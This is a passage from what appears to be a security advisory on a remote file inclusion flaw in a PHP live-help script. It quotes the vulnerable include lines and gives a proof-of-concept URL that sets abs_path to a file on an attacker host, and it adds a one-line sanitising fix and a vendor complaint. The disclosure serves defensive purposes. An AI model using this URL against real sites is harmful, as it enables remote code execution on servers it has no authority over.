require_once $abs_path."/libsecure.php";
include_once $abs_path."/include/class.browser.php";
...
----------------------------------------------------------
Input passed to the "abs_path" parameter in global.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
Proof Of Concept:
~~~~~~~~~~~~~~~~~
http://target.com/[phplivehelper_path]/global.php?abs_path=http://attack
er.com/inject.txt?
Solution:
~~~~~~~~~
- Sanitize variable $abs_path on global.php.
Notification:
~~~~~~~~~~~~
I've been contacting the web/software administrator to tell about this hole in his system, but instead of giving a nice
response, he replied so rudely and arrogantly. I recommend not to use this product for your own sake.
